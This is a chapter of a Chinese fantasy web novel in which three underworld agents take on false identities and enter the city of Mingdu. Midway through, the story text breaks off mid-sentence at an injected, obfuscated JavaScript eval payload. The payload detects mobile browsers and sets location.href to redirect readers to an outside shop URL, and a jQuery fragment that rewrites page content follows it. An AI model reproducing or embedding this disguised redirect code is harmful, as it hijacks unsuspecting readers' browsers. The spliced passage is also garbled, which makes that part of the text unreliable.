“什么兄妹?”从黑无常的语气,岳满能够感觉到这次他们面对的事情非常棘手,否则阎王也不会把她和宋煜安这两个“临时工”一起叫去帮忙,只是她并不知道进入冥都的规定,所以对黑无常最后提到的“兄妹”感到很疑惑。
通话结束,白无常将令牌还给岳满,并向他们解释道:“无论是亡魂怨灵还是地府阴差进出冥都皆需要公检。”说完他又怕岳满听不懂,接着补充道:“所谓的公检你可以理解为人间的通行证明,冥都入口的城门处设有关卡,来人都需出示公检才能放行。”
白无常觉得自己这样子解释岳满应该理解了,结果他发现她好像看起来更加疑惑了:“怎么?你还有什么不懂的吗?”
“嗯…,我只是觉得阎王若是在各处都设有关卡,每进入一个地方都要出示证明的话,办事效率岂不大大降低了?”
白无常苦笑了一声,正准备跟她解释冥都的来历,结果站在他身旁的宋煜安则先一步开口解释道:“因为冥都并不属于地府,它位于鬼界和地府的交接地带,是独立的城邦,它不属于阎王管理的地带,这座城邦另有主人。”
“是的,”白无常在旁边补充解释:“所以冥都内有来自各处的人和鬼,在里面我们要隐藏自己的真实身份,小心行事。”
话音刚落,只见白无常面前突然出现三个泛着淡蓝色光的光球,岳满抬头细看发现光球里面似乎包裹着一团黑色的东西,正盯着,三个光球忽然从中间分散开来,其中一个漂浮到她面前。
她伸出手轻轻触碰了一下,只见那光像萤火虫一样四散开来,露出了里面的物件,是一个巴掌大小的类似于护照一样的暗红色小本子,上面写着“地府公检”四个大字。打开本子后,最上面一栏写着阎王为她捏造的假身份:宋小满,芳龄18,看完基本信息,她看到了下面的家庭信息一栏写着:“兄长:宋玉”。
宋玉?宋煜安?他是她的兄长?
作为独生女的岳满虽然小时候孤独的时候确实幻想过希望自己有个哥哥,或是姐姐,可以带自己去玩,买好吃的给自己,但是现在让她和宋煜安假扮兄妹,她心里总觉得有些别扭,更何况岳满觉得她和宋煜安长的一点都不像。
像是为了验证自己心底的想法,岳满借着旁边白无常身体的抵挡,侧着身子探出脑袋偷偷瞄了一眼一旁的宋煜安,此刻他正低着头看着手中的本子。
眉毛、眼睛、鼻子、嘴唇….
嗯…,凭心而论,他确实长得挺不错的,而且身材看起来也还行…
忽然,宋煜安似有所感,抬起头朝她看去,两人的视线毫无征兆的在空中交汇了。
两人眼神交汇那一刻,她猛地将头缩了回去,强装镇定的拍了拍身旁的白无常,嘴上语无伦次的说道:“哎…哎呀,小白,你在看什么呢?”说完,她的手还一直不停在白无常手上轻拍着,企图掩盖自己被抓包后的尴尬,殊不知泛红的脸和僵硬的动作已经出卖了她。
宋煜安并没有拆穿她,见她被发现后像个炸毛的小猫一样,他的嘴角不受控制的勾起一个浅浅的弧度。
“真可爱。”
旁边的白无常则被岳满突然的动作吓了一大跳,没听见方才她说的话,以为她是不满意阎王给她的身份安排,嘴上支支吾吾的说道:“你、你就算不满意这个身份,你打我也没用…”
“啊?”岳满这才发现刚刚拍的那一下没控制好力度,下手好像重了点,让白无常误以为自己是对这个身份不满意,于是忙着解释道:“不是,我、我是…”她寻思着要找什么借口解释自己刚刚的行为,瞥见白无常手中那个本子后,立马说道:“我是看见“白大壮”这个名字没忍住,实在抱歉哈。”
这个借口好像并没有起到更好的作用,相反,白无常以为她在笑他的名字难听:“这个名字真的很搞笑吗?”
岳满见状立马否认:“没有,绝对没有,大壮多好听呀,说明你身强体壮,能够长命百岁呢。”
白无常被她这么一说,顿时又觉得信心倍增,附和道:“有眼光!”全然忘了刚才的事情。
宋煜安走近两人身旁,正巧看着岳满在拍马屁,她看到他靠近了后假装什事情都没有发生过,接着说道:“我和宋煜安是兄妹,那你是什么身份?”
“我是侍卫,阴差是不能进入冥都的,只能用侍卫的身份,也方便办事。”白无常看了天色,接着说道:“事不宜迟,我们现在就出发吧,应该可以赶在黄昏之前到达。”
岳满原本还想洗个澡再走,但是时间紧迫也只能先将就着,宋煜安则看出了她的内心想法,于是拦住了白无常:“等等,我还需到小屋处拿几本档案,以便可以记录,你们先在此处等我。”
“也好,到时候整理后可以交给孟婆。”白无常觉得他说的很有道理,也不敢反驳,只能答应了。
岳满算了一下他来回的时间,刚好可以给她沐浴一下,于是让白无常坐在石凳上等着,自己去后面的温泉迅速泡了个澡。
三人都准备妥当后,白无常带着他们走过了一片沼泽地、接着又穿过一片树林和沙漠,最后终于在日落之前抵达了冥都。
只见一座宏伟的城墙拔地而起,直接拦截在路的中间,城墙往两侧绵延看不见尽头,城墙上有序的站着守卫,黑棋在上方飘动着,偶有几只飞鸟从空中飞掠而过。
城门的上方挂着写着冥都二字的黑金牌子,冥都二字在夕阳的照射下闪烁着金色的光芒,岳满三人一同往城门的方向走去,城墙的阴影投射到地面,将他们三人完全笼罩在其中。
城门的两旁分别站着两列守卫,一列负责检查行人的公检,另一列则负责查看行人带的行囊货物,去往冥都的队伍排的很长,白无常三人紧跟着排在了一个商队的后面。
岳满瞧着前面忘不见头的队伍,有些不解:“怎么这么多人?”
白无常也不知道,前几日他来的时候并没有见到这么多人。
忽然旁边一个低沉的声音响起:“你们是哪里来的?难道没有听说冥都城主妹妹的生辰要到了吗?”
岳满寻着声音看去,发现说话的人原来是排在他们前面的一名男子,只见他身穿着一身米白色的长袍,正坐在一辆马车上低头看着他们三人。
此人约莫二十多岁,眉目深邃模样俊美,头顶带着镶嵌着珠宝的白色帷帽,手里拿着一个酒囊,腰间的腰带悬挂着玉片香囊,看起来不像是中原人的,倒像是西域来的。
他们不便透露出自己的真实身份,岳满想了一下,开口回道:“我们是中原来的,我们刚到此处不久,不知此地的规矩,不知道公子可否告知一二?”
男子似乎在听到中原二字后,态度缓和了很多,不像方才那么傲慢:“冥都城主的亲妹妹不久后会在城中举办盛大的生辰宴,凡是在冥都的人都可以前往。”
原来如此,难怪这么多人要进入冥都,只是不知那冥都城主是什么来头。
“听说这次宴席城主也会出席,若是要参加宴席的话,还是要备上一份礼物比较好。”男子刚说完话,就被商队中的一名老者叫走了。
岳满看着他匆匆离去的背影向他道了声谢:“多谢公子。”接着转头悄声同一直在一旁观察的宋煜安说道:“此人看起来不像地府的人,他是亡魂吗?”
宋煜安方才一直留意着跟她说话的那位陌生男子,那人身上的活人气息很浓,显然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179636|196956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是亡魂。
“不是,应该是人界来的。”
“人界?”岳满没想到竟然会有活人来这里。
“嗯,人界的人来此处必是有所求。”宋煜安指着他腰间的香囊,接着说道:“里面应当装着护身符”
两人闲聊期间,队伍已经排到他们了,白无常将三人的公检一并交给了城门的守卫,等待守卫核查后给他们放行。
“不过,凡人来到冥界,本就是逆天而行,必是要付出代价的。”
守卫检查完三人的公检后,又翻了翻宋煜安身上的包裹,核查没问题后,就让三人通行了,此时已经是夜晚了。
当岳满走进城中后,才发现白无常跟她说的城内夜晚灯火璀璨亮如白昼一点也不夸张,放眼看去,道路两侧的楼阁都挂满了五颜六色的灯笼,一旁的酒楼传出曼妙的歌声,大街上人流涌动,街道上弥漫着酒香肉香和脂粉甜腻的香气,身处其中好似到了人间天堂一般。
“走吧,我们去找黑无常。”这是白无常第二次来此处,他凭着之前的记忆带着他们两人绕过了两条昏暗的小巷,找到了当时黑无常所在的酒楼——醉仙楼
酒楼的外观看起来古朴清雅,上面挂着十多盏灯笼,将酒楼照的十分亮堂,走到门口就能闻到酒香和肉香。
“没错了,应该就是这里,我记得是在二楼。”
说完,白无常就径直往里面走去,岳满和宋煜安也跟在他的身后进了酒楼。这座酒楼的一楼主要是宾客吃饭的地方,中间设有一小圆台,上面有一胡姬正跳着曼妙的舞蹈,宾客们一边欣赏着舞姿一边推杯换盏的喝着美酒。
一旁的小二看见他们三人忙笑嘻嘻的上前询问他们三人要吃些什么?
“我们要去二楼,劳烦您带路。”白无常说完就准备往一旁的楼梯走去,店小二却拦截在他身前,笑着说道:“这位贵客,二楼已经被人包下了,不能上去。”
“什么?”白无常似乎没料到这突发的情况,补充说道:“我们是受邀前来的。”
“实在抱歉,请您出示您的请柬,我们才能放你上去。”店小二依旧用手挡在白无常身前,阻止他前行。
岳满见状,直接将小令牌递给白无常,让他呼叫黑无常下来接他们,白无常拗不过店小二,于是点亮了小令牌。
但是,黑无常并没有回应,白无常不死心又尝试了几次,依旧无人回应。
店小二见三人衣着朴素,与二楼的那些贵人的着装明显不同,猜测他们可能是骗子,想要趋炎附势,于是立马变了脸色,冷漠的驱赶他们:“既然没有请柬,那请回吧,不要耽误我们做生意。”
四人一时僵持着,谁也不让着谁。
二楼的雅座上,裴钰正慵懒的依靠在一旁的栏杆上,像是有些醉了,他的指尖松松的捏着酒杯,手臂随意的搭在屈起的腿上,琥珀色的酒随着他的动作晃动着,这个位置可以将一楼的场景一览无余。
楼下的胡姬一舞毕,大堂内响起了鼓掌声,雅座中的人也跟着鼓掌,突然其中一人说道:“裴兄,我瞧你之前并不常来这醉仙楼,怎么这几日来得这么频繁,莫不是看上了方才那位胡姬?”,那人看他没有反应继续献媚的说道:“要是你喜欢,我们可以直接将她送到你府上。”
裴钰轻笑了一声,唇角勾起了一抹漫不经心的笑,他晃了晃手中的酒杯,懒懒的说道“哦,你们觉得我是好色之徒?”
那人原本想借此献媚讨好谁曾想反而惹怒了他,他慌忙的跪爬到他身前为自己辩解。
只是,此刻的裴钰根本没有听见他在说什么,他的视线被楼下的一道白色的身影吸引了。
“是他?他怎么会在这里?”